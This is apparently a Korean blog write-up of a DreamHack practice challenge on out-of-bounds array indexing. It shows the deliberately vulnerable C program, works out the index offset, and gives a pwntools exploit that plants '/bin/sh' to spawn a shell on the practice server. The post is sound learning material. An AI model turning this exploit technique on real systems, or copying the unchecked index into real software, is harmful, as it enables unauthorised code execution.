[Dreamhack] Systemhacking - Out of Bounds

chrmqgozj·2025년 1월 5일

DreamHack

목록 보기
6/39
  1. Out of Bounds
    배열의 속성: 연속된 메모리 공간을 차지하며 그 크기는 (요소의 개수 * 요소 자료형의 크기)
    배열의 길이: 요소의 개수

OOB: 인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생.

  • 임의 주소 읽기
  • 임의 주소 쓰기
  1. out_of_bound
    2.1. 보안기법

32bit, Partial RELRO, Canary, NX

2.2. out_of_bound.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}
  • admin name을 입력 받음
  • idx를 입력 받음
  • command[idx]을 system 명령어로 실행

2.3. 설계
그러면... name에 "\bin\sh"를 저장하고, idx를 "\bin\sh"를 가리키도록 주면 되지 않을까?

command = 0x0804a060
name = 0x0804a0ac

name - command = 76
단, command의 변수형은 char 포인터이기 때문에 요소 하나당 사이즈는 4바이트.
76 / 4 = 19

문제는 name = '\bin\sh'를 바로 넣게 되면 system 매개변수로 '\bin'만 들어가게 된다. 따라서 system에 들어가는 매개변수에는 name의 주소가 들어가야 한다.

name = '\bin\sh' (8바이트)
name += p32(0x0804a0ac) (4바이트)

idx = 19 + (8/4) = 19 + 2 = 21

2.4. exploit.py

from pwn import *

#p = process('./out_of_bound')
p = remote('host1.dreamhack.games', 8873)

name = b'/bin/sh\x00' + p32(0x0804a0ac)

p.sendafter(b'Admin name: ', name)

idx = b'21'

p.sendafter(b'What do you want?: ', idx)

p.interactive()

언제 p32를 쓰는지, 언제 b''를 쓰는지 구분이 필요하다.

0개의 댓글